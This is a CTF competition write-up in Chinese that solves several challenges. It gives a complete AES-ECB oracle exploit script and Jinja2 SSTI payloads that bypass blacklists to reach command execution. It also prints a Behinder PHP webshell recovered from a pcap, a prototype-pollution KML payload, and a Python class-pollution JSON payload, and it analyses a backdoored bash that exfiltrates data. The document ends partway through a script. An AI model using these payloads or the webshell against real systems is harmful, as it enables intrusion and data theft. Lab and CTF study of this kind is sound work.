2026数字中国创新大赛网络安全赛道部分wp
本文是有关2026数字中国创新大赛网络安全赛道(北京赛区)部分wp
SecureDoc
http://web-e925dea1e6.adworld.xctf.org.cn:80/
flag:flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}
这题一共是两段利用链:
- 普通用户功能里存在一个典型的 AES-ECB 字节恢复 Oracle,可以逐字节恢复隐藏的数字水印内容。
- 隐藏水印里泄露了管理员账号密码。登录后台后,管理员报表预览功能存在 Jinja2 SSTI,结合黑名单绕过可以直接拿到 RCE,最终读取
/flag。
“数字水印加密预览”按钮对应的前端代码里,直接留下了提示:
// Preview with template function (ECB Oracle vulnerability)这基本就是明示第一段利用点在 /documents/apply-template。
登录后对 /documents/apply-template 发送不同长度的 content,发现:
返回的 total_length 满足:用户输入长度 + 82,加密块数量严格按 16 字节对齐增长,非常符合 可控输入 + 固定隐藏后缀 的 ECB 追加型 Oracle 特征
例如长度探测结果如下:
0 82 6 blocks
1 83 6 blocks
...
14 96 7 blocks
...
30 112 8 blocks这里可以得到两个结论:
- 块大小是 16 字节
- 隐藏内容长度是 82 字节
利用方式就是标准的 ECB byte-at-a-time attack。
先用 A * 15 让目标块最后 1 个字节变成未知字节。记录该块密文。枚举候选字符,构造 A * 15 + 已知明文 + 候选字节。如果该块密文相同,说明猜中当前字节。重复直到恢复完整隐藏内容。
#!/usr/bin/env python3
import argparse
import string
import sys
from typing import Optional
import requests
DEFAULT_CHARSET = (
string.ascii_letters
+ string.digits
+ string.punctuation
+ " "
+ "\n\r\t"
)
class ECBOracleExploit:
def __init__(self, base_url: str, username: str, password: str) -> None:
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
def register(self) -> None:
self.session.post(
f"{self.base_url}/register",
json={"username": self.username, "password": self.password},
timeout=10,
)
def login(self) -> None:
response = self.session.post(
f"{self.base_url}/login",
json={"username": self.username, "password": self.password},
timeout=10,
)
response.raise_for_status()
def preview(self, content: str) -> dict:
response = self.session.post(
f"{self.base_url}/documents/apply-template",
json={"content": content},
timeout=10,
)
response.raise_for_status()
return response.json()["preview"]
def oracle(self, content: str) -> bytes:
preview = self.preview(content)
return bytes.fromhex(preview["encrypted_content"])
def detect_secret_length(self) -> int:
base_len = self.preview("")["total_length"]
return int(base_len)
def recover_secret(
self,
block_size: int = 16,
secret_len: Optional[int] = None,
charset: str = DEFAULT_CHARSET,
) -> str:
if secret_len is None:
secret_len = self.detect_secret_length()
recovered = ""
for index in range(secret_len):
pad_len = block_size - 1 - (len(recovered) % block_size)
prefix = "A" * pad_len
ciphertext = self.oracle(prefix)
block_index = len(recovered) // block_size
start = block_index * block_size
end = start + block_size
target_block = ciphertext[start:end]
found = None
for candidate in charset:
probe = prefix + recovered + candidate
probe_block = self.oracle(probe)[start:end]
if probe_block == target_block:
found = candidate
recovered += candidate
print(
f"[{index:02d}] {candidate!r} -> {recovered!r}",
flush=True,
)
break
if found is None:
print(
f"[!] Recovery stalled at offset {index}. "
f"Recovered so far: {recovered!r}",
file=sys.stderr,
flush=True,
)
break
return recovered
def main() -> None:
parser = argparse.ArgumentParser(description="Recover the hidden ECB suffix.")
parser.add_argument(
"--base-url",
default="http://web-e925dea1e6.adworld.xctf.org.cn:80",
help="Target base URL",
)
parser.add_argument(
"--username",
default="ecbtest_user",
help="Username to register/login with",
)
parser.add_argument(
"--password",
default="ecbtest_pass123",
help="Password to register/login with",
)
parser.add_argument(
"--secret-len",
type=int,
default=None,
help="Override the hidden suffix length",
)
args = parser.parse_args()
exploit = ECBOracleExploit(args.base_url, args.username, args.password)
exploit.register()
exploit.login()
secret_len = args.secret_len or exploit.detect_secret_length()
print(f"[*] Detected hidden suffix length: {secret_len}", flush=True)
secret = exploit.recover_secret(secret_len=secret_len)
print(f"[*] Final recovered text: {secret}", flush=True)
if __name__ == "__main__":
main()
恢复结果如下:
*******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssZWRjMGI0! ******把前后填充的 * 去掉后,可以提取出管理员凭据:
- 用户名:
suP3r@dm!n - 密码:
S3cur3P@ssZWRjMGI0!
使用恢复出来的账号密码登录:
POST /login
{"username":"suP3r@dm!n","password":"S3cur3P@ssZWRjMGI0!"}成功后返回:
{"is_admin":true,"message":"登录成功","username":"suP3r@dm!n"}并且在工作台里能看到管理员入口:
GET /admin/dashboard
管理员后台提供“报告模板预览”功能,请求接口为:
POST /admin/report/preview
页面中还能看到模板语法示例:
{{ last_login }}
{{ username }}
{% if document_count > 40 %}这说明后端基本可以确定在使用Jinja2渲染用户提交的模板。直接测试,发现有SSTI
后台对有WAF,比如:__init__、globals、config、request、[]、attr("upper")、~ 、字符串拼接
直接用_ 等价于 _,所以 "__subclasses__" 实际就是 __subclasses__
这样就拿到了 Python 类继承链。通过遍历 object.__subclasses__(),可以找到 subprocess.Popen 的索引:
{% for c in cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")() %}
{% if "Popen" in c|string %}{{loop.index0}}:{{c}}{% endif %}
{% endfor %}实际回显结果为:
515:<class 'subprocess.Popen'>所以后续可以通过下标 515 直接取到 Popen。
最终执行命令的 payload 如下:
{{((cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")()
|attr("\x5f\x5fgetitem\x5f\x5f")(515))("cat /flag",shell=True,stdout=-1)).communicate()}}返回结果:
(b'flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}\n', None)得到最终 flag:
flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}冰碧蝎?
pcap 解出 WebShell 内容如下:
<?php
@error_reporting(0);
session_start();
$key="1ca3b8c9c81a5fdc";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>可以得到冰蝎通信密钥为 1ca3b8c9c81a5fdc、POST 数据会先解密,再按 | 分割、最终执行形式是 assert|eval(...)、通信内容本质上是“加密后的 PHP 插件代码”
实际解包验证后,请求与响应使用的是、base64 编码密文、AES-CBC、IV 为 * 16
在流量中筛选 HTTP POST 请求,可以定位到冰蝎会话主要访问 /upload/1774235859.dcic.php
相关会话主要位于tcp.stream = 10, 11, 12, 13, 14
其中:stream 10/11/14 主要是命令执行与目录探测,stream 13 是虚拟终端插件交互
#!/usr/bin/env python3
import base64
import json
import re
import subprocess
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
WORKDIR = Path(__file__).resolve().parent
PCAP = WORKDIR / "1.pcapng"
SHELL = WORKDIR / "shell.php"
OUTDIR = WORKDIR / "behinder_tmp"
def run_tshark(display_filter: str) -> list[list[str]]:
cmd = [
"tshark",
"-r",
str(PCAP),
"-Y",
display_filter,
"-T",
"fields",
"-e",
"frame.number",
"-e",
"tcp.stream",
"-e",
"http.request.uri",
"-e",
"http.response.code",
"-e",
"http.file_data",
]
proc = subprocess.run(cmd, capture_output=True, text=True, check=True)
rows = []
for line in proc.stdout.splitlines():
if not line.strip():
continue
parts = line.split("\t")
if len(parts) < 5:
parts += [""] * (5 - len(parts))
rows.append(parts[:5])
return rows
def extract_key() -> bytes:
content = SHELL.read_text(encoding="utf-8", errors="ignore")
match = re.search(r'\$key\s*=\s*"([0-9a-fA-F]{16})"', content)
if not match:
raise RuntimeError("failed to extract Behinder key from shell.php")
return match.group(1).encode()
def decrypt_body(body_hex: str, key: bytes) -> str:
body_bytes = bytes.fromhex(body_hex.strip())
body_text = body_bytes.decode("latin1")
cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16)
plaintext = cipher.decrypt(base64.b64decode(body_text))
return unpad(plaintext, AES.block_size).decode("utf-8", errors="replace")
def write_text(path: Path, content: str) -> None:
path.write_text(content, encoding="utf-8", errors="ignore")
def extract_embedded_base64(text: str) -> list[str]:
matches = []
for match in re.finditer(r"base64_decode\('([^']+)'\)", text):
try:
matches.append(base64.b64decode(match.group(1)).decode("utf-8", errors="replace"))
except Exception:
continue
return matches
def decode_response_json(text: str) -> str | None:
try:
payload = json.loads(text)
except Exception:
return None
if not isinstance(payload, dict):
return None
decoded = {}
for key, value in payload.items():
if isinstance(value, str):
try:
decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")
except Exception:
decoded[key] = value
else:
decoded[key] = value
return json.dumps(decoded, ensure_ascii=False, indent=2)
def main() -> None:
OUTDIR.mkdir(exist_ok=True)
key = extract_key()
request_filter = 'http.request.method == "POST" && http.request.uri == "/upload/1774235859.dcic.php"'
request_rows = run_tshark(request_filter)
streams = sorted({row[1] for row in request_rows if row[1]})
stream_expr = " || ".join(f'tcp.stream == {stream}' for stream in streams)
response_rows = run_tshark(f'http.response && ({stream_expr})') if streams else []
summary = {
"key": key.decode(),
"request_count": len(request_rows),
"response_count": len(response_rows),
"streams": streams,
"requests": [],
"responses": [],
"skipped": [],
"flag_hits": [],
}
flag_patterns = [
re.compile(r"flag\{[^\n\r}]+\}", re.IGNORECASE),
]
for frame, stream, uri, _, body_hex in request_rows:
if not body_hex:
continue
try:
decrypted = decrypt_body(body_hex, key)
except Exception as exc:
summary["skipped"].append({"frame": int(frame), "stream": int(stream), "kind": "request", "reason": str(exc)})
continue
prefix = f"request_{frame}_stream_{stream}"
write_text(OUTDIR / f"{prefix}.txt", decrypted)
item = {"frame": int(frame), "stream": int(stream), "uri": uri, "path": f"behinder_tmp/{prefix}.txt"}
embedded = extract_embedded_base64(decrypted)
if embedded:
for index, decoded in enumerate(embedded, start=1):
nested_path = OUTDIR / f"{prefix}_embedded_{index}.php"
write_text(nested_path, decoded)
item["embedded_count"] = len(embedded)
summary["requests"].append(item)
for pattern in flag_patterns:
for match in pattern.findall(decrypted):
summary["flag_hits"].append({"frame": int(frame), "source": item["path"], "value": match})
for frame, stream, _, code, body_hex in response_rows:
if not body_hex:
continue
try:
decrypted = decrypt_body(body_hex, key)
suffix = ".txt"
except Exception:
try:
decrypted = bytes.fromhex(body_hex.strip()).decode("latin1", errors="replace")
suffix = ".raw.txt"
except Exception as exc:
summary["skipped"].append({"frame": int(frame), "stream": int(stream), "kind": "response", "reason": str(exc)})
continue
prefix = f"response_{frame}_stream_{stream}"
write_text(OUTDIR / f"{prefix}{suffix}", decrypted)
item = {"frame": int(frame), "stream": int(stream), "code": int(code) if code else None, "path": f"behinder_tmp/{prefix}{suffix}"}
decoded_json = decode_response_json(decrypted)
if decoded_json is not None:
decoded_path = OUTDIR / f"{prefix}_decoded.json"
write_text(decoded_path, decoded_json)
item["decoded_json"] = f"behinder_tmp/{prefix}_decoded.json"
summary["responses"].append(item)
if suffix == ".txt":
for pattern in flag_patterns:
for match in pattern.findall(decrypted):
summary["flag_hits"].append({"frame": int(frame), "source": item["path"], "value": match})
if decoded_json is not None:
for pattern in flag_patterns:
for match in pattern.findall(decoded_json):
summary["flag_hits"].append({"frame": int(frame), "source": item["decoded_json"], "value": match})
write_text(OUTDIR / "summary.json", json.dumps(summary, ensure_ascii=False, indent=2))
if __name__ == "__main__":
main()通过解密请求体,可以还原出攻击者执行过的典型命令:
cd /var/www/html/upload/ ;ls
cd /var/www/html/upload/ ;whoami
cd /var/www/html/upload/ ;pwd对应响应可知当前目录为:
/var/www/html/upload并且目录内存在:
1774234859.dcic.php
1774235859.dcic.php
ffffff111aG这里 ffffff111aG 就是最关键的可疑项。
在 request_957_stream_14_embedded_1.php 中,可以明确还原出攻击者执行的命令:
cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls这说明攻击者在 /var/www/html/upload/ 目录中创建了一个文件,文件名为 ffffff111aG,写入内容为:
2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG随后再次列目录,响应中确认该文件确实已存在:
{
"status": "success",
"msg": "1774234859.dcic.php\n1774235859.dcic.php\nffffff111aG\n"
}结合题目要求与会话行为,可以确认攻击者最终落地并显式验证的目标就是:
ffffff111aGbase58 解码为
flag{dbeeed36-0d7e-211a-69db-66bd74ea91d5}SigFlow
附件包含一个静态链接、strip 后的 64 位 ELF:
file challenge结果显示:
challenge: ELF 64-bit LSB executable, x86-64, statically linked, stripped附件中还给出了若干 .siglocked 文件和恢复提示。最终确认 challenge 不是解密器,而是加密器。它会从固定输入目录读取明文:
./challenge_data/plain并输出到:
./challenge_data/encrypted二进制中嵌入的 token 为:
SIGFLOW_RANSIM_TOKEN_2026_LOCKER该 token 会参与上下文初始化。原始未修改二进制在本机环境下生成的 incident id 固定为:
67319e97abae3c77每个 .siglocked 文件由 32 字节头部和密文组成:
offset size meaning
0x00 8 magic: "SIGLCK1\0"
0x08 8 per-file nonce
0x10 8 incident id
0x18 4 plaintext length, little-endian
0x1c 4 plaintext FNV-1a 32-bit checksum
0x20 N ciphertext例如 encrypted_data/report.txt.siglocked:
magic = SIGLCK1\0
nonce = 8c52fe5f3277027b
incident id = 67319e97abae3c77
length = 0x7f
checksum = 70e35154校验函数位于 0x404d00,是标准 32 位 FNV-1a:
def fnv1a32(data):
h = 0x811C9DC5
for b in data:
h = ((h ^ b) * 0x01000193) & 0xffffffff
return h主要函数地址如下:
0x401a10 main
0x401c30 anti-debug / environment collector
0x4030e0 context initializer
0x403a90 second-stage transform VM
0x404090 first-stage transform VM wrapper
0x404d00 FNV-1a 32-bit helper
0x404ee0 directory traversal and file encryption
0x405570 restore note writer0x404ee0 中可以看到加密流程:
read plaintext
derive per-file nonce
compute plaintext FNV-1a
call 0x404090
write SIGLCK1 header
write ciphertext其中 0x404090 会先执行第一阶段变换,随后在长度大于 1 时调用 0x403a90 执行第二阶段变换。
由于修改二进制会影响上下文,我使用原始二进制运行大量小文件,在执行过程中发送 SIGILL 生成 core,再从 core 中搜索 token SIGFLOW_RANSIM_TOKEN_2026_LOCKER。
提取出的上下文长度使用 0x158 字节,其中重要字段包括:
ctx[0x108:0x110] = 67319e97abae3c77
ctx[0x110:0x130] = second-stage VM table
ctx[0x148:0x158] = second-stage seed material这个上下文已经内置在本地脚本 solve_sigflow.py 中。
0x404090 不是简单检查,它会按字节生成一段 16 条指令的小 VM 程序,并对当前字节做 XOR 流式变换。该阶段依赖:
relative path hash
per-file nonce
ctx table bytes
rolling 32-bit state路径会参与 FNV-1a 哈希,所以解密时必须使用原 .siglocked 去掉后缀后的相对路径,例如:
report.txt
logs/audit.log
raw/manifest.json
db/clients.csv
raw/model.bin0x19 reg[a] = table64[b & 0x3f]
0x2a reg[a] ^= b
0x3b reg[a] = reg[a] + reg[b & 3] + c
0x4c reg[a] = rol8(reg[a], b & 7)
0x5d reg[a] = (((b | 1) * reg[a] + c) & 0xff) ^ reg[(a + 1) & 3]
0x6e conditional trap
0x7f reg[a] -= b
0x80 reg[a] >>= b & 7
0x91 if reg[a] > reg[b & 3]: swap
0xa2 LFSR-like shift/xor step
0xb3 conditional skip next instruction
0xf0 output byte key and update rolling state该阶段本质是对每个字节生成一个 key:
cipher_byte_before_stage2 = plain_byte ^ key因此该阶段加密和解密相同,都是再次 XOR 同一个 key。解密时只需要用密文经过第二阶段逆变换后的数据,按相同状态顺序执行第一阶段即可。
使用 nonce 和上下文派生 16 字节 seed:
seed[i] = ctx[0x148 + i] ^ ((i * 0x37) & 0xff) ^ nonce[i & 7]VM canonical opcode 包括:
0x1a load data[pos + signed offset]
0x2b store data[pos]
0x3c load seed[(pos + b) & 0xf]
0x4d load table[(pos + reg[b]) & 0x1f]
0x5e xor register
0x6f rol8 by register-derived count
0x70 add register
0x81 xor immediate
0x92 set pos
0xa3 pos++ and conditional loop
0xb4 pos-- and conditional loop
0xc5 conditional trap
0xf6 return success关键坑点是 0xa3/0xb4 的回跳位置。回跳后会跳过某些初始 load 指令,所以寄存器不是每轮重新加载,而是跨迭代滚动。最终第二阶段可以化简为三段 pass:
# pass 1: forward, pos = 1..n-1
r0 = buf[0]
for pos in range(1, n):
r0 = rol8(r0, (seed[pos & 0xf] + 1) & 7)
buf[pos] ^= r0
# pass 2: backward, pos = n-2..0
r0 = buf[n - 1]
for pos in range(n - 2, -1, -1):
r0 = rol8(r0, (seed[(pos + 9) & 0xf] + 1) & 7)
buf[pos] ^= r0
# pass 3: per-byte table mix
r0 = seed[0]
for pos in range(n):
r2 = table[(pos + r0) & 0x1f]
buf[pos] = ((buf[pos] ^ r2) + r0) & 0xff逆变换按相反顺序执行:
# invert pass 3
r0 = seed[0]
for pos in range(n):
r2 = table[(pos + r0) & 0x1f]
buf[pos] = ((buf[pos] - r0) & 0xff) ^ r2
# invert pass 2
r0 = buf[n - 1]
for pos in range(n - 2, -1, -1):
r0 = rol8(r0, (seed[(pos + 9) & 0xf] + 1) & 7)
buf[pos] ^= r0
# invert pass 1
r0 = buf[0]
for pos in range(1, n):
r0 = rol8(r0, (seed[pos & 0xf] + 1) & 7)
buf[pos] ^= r0拼接得到最终 flag:
flag{sigflow_vm_signal_mixed_vm_locked_files}asystem
flag:flag{F2CeQTrQS2aOMxZ6k2mW3Th62rYXtN0m}
题目实际是一个 Python Flask 前端 + Node.js 后端的组合
/download 存在目录穿越
Python 端下载逻辑:
filename = request.args.get("filename")
if "flag" in filename.lower() or "config" in filename.lower():
return "you cant"
if filename.startswith("/"):
file_path = "/datas/upload_files" + filename
else:
file_path = "/datas/upload_files/" + filename
return send_file(file_path, as_attachment=True)这里只有关键字过滤,没有做路径归一化,所以可以直接:
/download?filename=../../server/app.js从而读出 Node 后端源码,再把整条利用链补齐。
Node 代码里 .kmz 会被解析为 KML,再喂给自带的 xml2json:
parseKMZ.toKML(kmzPath).then((kmlString) => {
parser.xmlToJson(kmlString, (err,json)=>{而 utils/xml2json/lib/xmlToJson.js 里有这样的逻辑:
if(!json[tag]) {
json[tag]={}
}
for(let key in attributes) {
json[tag][key] = attributes[key];
}如果标签名是 __proto__,那么 json["__proto__"] 实际上就是对象原型,接着执行:
json["__proto__"]["FIX_SECRET"] = "mew2pass"就会把 Object.prototype.FIX_SECRET 污染掉。
Node /admin 的关键逻辑:
if (fix === 'true' && FIX_SECRET !== undefined) {
fs.writeFileSync(CONFIG_PATH, String(FIX_SECRET), 'utf8');
admin_secret = String(FIX_SECRET);
...
}这里 FIX_SECRET 并没有定义,但在 Node/CommonJS 环境下,如果 Object.prototype.FIX_SECRET 被污染,那么直接访问 FIX_SECRET 会取到这个值。于是我们只要上传一个恶意 .kmz,再调用 Python 暴露出来的:
/api/fix-secret就能把 admin_secret 改成我们指定的口令。
Python 端注册逻辑:
data = json.loads(raw_str)
user = User()
merge(data, user)merge() 支持递归写属性:
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)因此可以从 user.__class__.__init__.__globals__ 一路走到函数全局变量,改写全局 WAF。
WAF 是这样做的:
raw_str = request.get_data(as_text=True)
test_waf = raw_str.lower().replace('"', '')
for word in WAF:
if word in test_waf:
return ...所以它拦的是请求原文,而不是 json.loads() 之后的对象。这样就有两个绕过点:
- 用 Unicode 转义写敏感键名,例如:
__class__->__class____init__->__init____globals__->__globals__
- 避开原始串里的
}}、[、]
由于 [] 会被拦,所以不能把 WAF 改成空列表;最稳的做法是把它改成空字符串 ""。这样后续:
for word in WAF:相当于遍历空串,黑名单直接失效。
/protected 中:
if '{{' in current_user or '}}' in current_user:
return ...
resp = render_template_string(f"Hello, {current_user}! You have access to this protected route.")这说明:型 {{ ... }} 不能用,要用 {% ... %} 替代
先通过目录穿越读 Node 源码
/download?filename=../../server/app.js确认到:
.kmz会走xml2json/admin?fix=true依赖未定义变量FIX_SECRET
上传恶意 .kmz,污染 Object.prototype.FIX_SECRET
恶意 KML 核心内容:
<?xml version="1.0" encoding="UTF-8"?>
<kml><__proto__ FIX_SECRET="mew2pass"></__proto__></kml>压成 poc.kmz 上传到 /api/upload 即可。
触发 /api/fix-secret
调用:
/api/fix-secret返回:
{"code":0,"data":{"admin_secret":"mew2pass"},"message":"fixed"}说明管理员口令已经变成我们指定的 mew2pass。
用 /register 清空 Python 全局 WAF
核心 payload:
{"\u005f\u005fclass\u005f\u005f":{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"WAF":""}}}}注意点:
- 不能出现明文
__class__、__init__、__globals__ - 不能把
WAF改成[],因为原始请求会包含[、]
同一连接里访问 /protected 打 SSTI
{%set x=cycler.__init__.__globals__.__builtins__.open('/datas/upload_files/result.txt','w').write(cycler.__init__.__globals__.__builtins__.open('/flag').read())%}OK下载结果文件
/download?filename=result.txt得到:
flag{F2CeQTrQS2aOMxZ6k2mW3Th62rYXtN0m}evil_bash
题目给了一个可疑的 bash 二进制和一份流量 captchated.pcapng。
目标可以拆成两部分:
逆向这个被投毒的 bash,搞清楚恶意逻辑和协议。
从 pcap 中恢复最终外传的 flag.txt。
主线调用关系如下:
main -> sub_167E0 -> pthread_create(start_routine)start_routine 是真正的后门线程。它会连接 127.0.0.1:9999,随后和控制端进行自定义协议通信。
这个结论可以从逆向得到初始化时解密出 127.0.0.1,创建 TCP 连接到 9999,收包、解包、执行 VM、回包都集中在 start_routine
流量包头是固定的:
magic = "DSMV"包结构:
magic(4) | type(4) | length(4) | payload(length) | crc32(4)协议类型:
type 1: 握手,携带 RSA 参数type 2: 服务端下发的命令 VM 数据type 3: 客户端执行命令后的返回数据type 4: acktype 5: close
对应收发函数:
sub_A8F30: 接收 DSMV 包sub_A9430: 发送 DSMV 包
pcap 中主要有两条 TCP 会话:
127.0.0.1:57732 <-> 127.0.0.1:4444
127.0.0.1:42594 <-> 127.0.0.1:9999一开始很容易误判 4444 这条 1.478 MB 的大流就是外传数据。
但重组后发现:
4444 -> 57732基本单向发送- 去掉最开始的
206字节头之后 - 剩余内容的 SHA-256 与本地题目给出的
bash完全一致
也就是说,这条流实际上是在下发被投毒的 bash:
trim(stream0, 206 bytes) == local ./bash所以真正的外传不在 4444,而在 9999 控制流里。
从控制流解出的最后几条 VM 命令可以看到完整恶意流程:
ls
tar -zcvf flag.tar flag.txt
ls
openssl enc -aes-256-cbc -salt -pbkdf2 -pass pass:<...> -in flag.tar -out flag.enc.1.tar
...
openssl enc -aes-256-cbc -salt -pbkdf2 -pass pass:<...> -in flag.enc.31.tar -out flag.enc.32.tar
ls
base64 flag.enc.32.tar也就是说,攻击端的工作流是:
- 打包
flag.txt为flag.tar - 连续 32 层 OpenSSL 对称加密
- 最后执行
base64 flag.enc.32.tar - 把 Base64 结果通过
type 3包回传
恶意程序里有两个关键函数:
sub_A87A0:128 -> 126的块变换sub_A8950:126 -> 128的块变换
它们本质上都是:
mpz_import -> mpz_powm -> mpz_export也就是标准 RSA 模幂,只不过按固定块尺寸在收发。
握手包会下发两段十六进制字符串:
n | e最开始我把第二段误当成私钥指数,但后面验证发现不是。
type 2 解密后,不是普通字符串,而是一段小型 VM 字节码。
核心执行函数:
sub_A9870: VM 初始化sub_A9890: 装载字节码sub_A98C0: 解释执行
其中有危险 opcode 会走:
popen(command, "r")所以控制端实际是在远程下发命令,客户端执行后把结果再打包回去。
我先用握手中的大指数去解 type 2 和 type 3。
结果:
type 2能正常解出 VM 命令type 3全部解成了零块
这说明我们的理解只对了一半。
进一步做了这个检查:
c^e mod n == m 成立
m^e mod n == c 不成立于是可以确定:
- 握手里那段超大指数是公钥指数
e - 它只能用于“解服务端下发给客户端的那一侧”
- 客户端回包
type 3需要对应的私钥指数d
题目于是从“协议逆向题”转成了“密码题”。
现在我们已知:
- RSA 模数
n - 公开指数
e - 最后两个真正外传的密文包是
type 3的[036]和[037]
所以问题变成:
已知 (n, e),求 d,然后解密最后两个 type 3 包先试了几种常规方法:
- 小因子扫描
- Pollard p-1
- Pollard rho
- FactorDB 查询
都没有直接出结果。
说明这个 n 不是简单的小因子弱模数,也不是题目直接把因子公开在库里。
注意到握手里的 e 非常异常:
- 不是常见的
3 - 不是
65537 - 而是一个接近
1024位的大整数
这很容易让人怀疑:
公开指数 e 很大,而私钥指数 d 很小这正是 Wiener attack 的经典适用场景。
于是对 (e, n) 做 continued fraction / convergents 检查,成功恢复出:
d = 0xb6279f56fe93aacf95b7也就是说,这个 RSA 的真正弱点是:
private exponent d 太小拿到 d 后,对这两个包做相同的 RSA 块还原:
036_client_payload.raw.bin037_client_payload.raw.bin
解密后合并,可以得到:
- 一段
ls输出 - 紧接着是
flag.enc.32.tar的 Base64 内容
特征头非常明显:
U2FsdGVkX1...它是 OpenSSL Salted__ 格式的 Base64。
前面 VM 命令已经把 32 轮 OpenSSL 的口令全部暴露出来了,所以直接调用恢复脚本即可:
python recover_flag.py \
--base64-file rsa_exfil_analysis/exfil_base64.txt \
--work-dir recovered_flag_from_pcap恢复结果:
flag.tar- 解包后的
flag.txt
这次过程中一共形成了三类实用脚本。
作用:
- 跟随 TCP 流
- 拆 DSMV 包
- 用握手里的
n,e解type 2 - 解析 VM,恢复攻击端命令
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import dataclasses
import pathlib
import re
import shutil
import struct
import subprocess
import sys
from typing import Iterable
MAGIC = b"DSMV"
HEX_LINE_RE = re.compile(r"^[0-9a-fA-F]+$")
TYPE_NAMES = {
1: "handshake",
2: "server_payload",
3: "client_payload",
4: "ack",
5: "close",
}
@dataclasses.dataclass
class Packet:
offset: int
index: int
packet_type: int
payload: bytes
crc: int
@dataclasses.dataclass
class DecryptedPacket:
packet: Packet
decrypted: bytes
declared_length: int | None
body: bytes
printable_strings: list[str]
@dataclasses.dataclass
class VmTrace:
commands: list[str]
copied_strings: list[str]
final_regs: list[int]
final_flags: int
steps: int
halted: bool
exit_reason: str
class VmHalt(Exception):
pass
class VmInterpreter:
def __init__(self, code: bytes) -> None:
self.regs = [0] * 8
self.pc = 0
self.sp = 0xFFFC
self.flags = 0
self.mem = bytearray(0x10000)
self.mem[: len(code)] = code[: len(self.mem)]
self.commands: list[str] = []
self.copied_strings: list[str] = []
self.output = bytearray()
self.halted = False
def read_u8(self, addr: int) -> int:
return self.mem[addr & 0xFFFF]
def write_u8(self, addr: int, value: int) -> None:
self.mem[addr & 0xFFFF] = value & 0xFF
def read_u32(self, addr: int) -> int:
addr &= 0xFFFF
return int.from_bytes(self.mem[addr : addr + 4], "big")
def write_u32(self, addr: int, value: int) -> None:
addr &= 0xFFFF
self.mem[addr : addr + 4] = (value & 0xFFFFFFFF).to_bytes(4, "big")
def signed32(self, value: int) -> int:
value &= 0xFFFFFFFF
return value - 0x100000000 if value & 0x80000000 else value
def update_arith_flags(self, value: int) -> None:
value &= 0xFFFFFFFF
self.flags = 1 if value == 0 else (4 if value & 0x80000000 else 0)
def imm32_reg(self) -> int:
return int.from_bytes(self.mem[self.pc + 2 : self.pc + 6], "big")
def imm32(self) -> int:
return int.from_bytes(self.mem[self.pc + 1 : self.pc + 5], "big")
def c_string(self, addr: int, limit: int = 4095) -> bytes:
addr &= 0xFFFF
data = bytearray()
for index in range(limit):
if addr + index > 0xFFFF:
break
byte = self.mem[addr + index]
if byte == 0:
break
data.append(byte)
return bytes(data)
def op_compare(self, lhs: int, rhs: int) -> None:
lhs_u = lhs & 0xFFFFFFFF
rhs_u = rhs & 0xFFFFFFFF
if lhs_u == rhs_u:
self.flags = 1
return
diff = self.signed32(lhs_u - rhs_u)
if lhs_u < rhs_u:
self.flags = 2 if diff >= 0 else 6
else:
self.flags = 0 if diff >= 0 else 4
def run(self, max_steps: int = 100000) -> VmTrace:
steps = 0
exit_reason = "step_limit"
try:
while steps < max_steps:
opcode = self.read_u8(self.pc)
if opcode == 0xFE:
self.halted = True
exit_reason = "halt"
break
if opcode == 0:
steps += 1
continue
self.execute(opcode)
steps += 1
else:
exit_reason = "step_limit"
except VmHalt as exc:
exit_reason = str(exc)
return VmTrace(
commands=self.commands,
copied_strings=self.copied_strings,
final_regs=self.regs[:],
final_flags=self.flags,
steps=steps,
halted=self.halted,
exit_reason=exit_reason,
)
def execute(self, opcode: int) -> None:
reg = self.read_u8(self.pc + 1) & 7
src_reg = self.read_u8(self.pc + 2) & 7
if opcode == 1:
self.regs[reg] = self.imm32_reg()
self.pc += 6
return
if opcode == 2:
self.regs[reg] = self.regs[src_reg]
self.pc += 3
return
if opcode == 3:
addr = self.regs[src_reg]
self.regs[reg] = self.read_u8(addr)
self.pc += 3
return
if opcode == 4:
addr = self.regs[reg]
self.write_u8(addr, self.regs[src_reg])
self.pc += 3
return
if opcode == 16:
self.regs[reg] = (self.regs[reg] + self.regs[src_reg]) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 17:
self.regs[reg] = (self.regs[reg] - self.regs[src_reg]) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 18:
self.regs[reg] = (self.regs[reg] * self.regs[src_reg]) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 19:
self.regs[reg] = (self.regs[reg] ^ self.regs[src_reg]) & 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 20:
self.regs[reg] &= self.regs[src_reg]
self.regs[reg] &= 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
return
if opcode == 21:
self.regs[reg] |= self.regs[src_reg]
self.regs[reg] &= 0xFFFFFFFF
self.update_arith_flags(self.regs[reg])
self.pc += 3
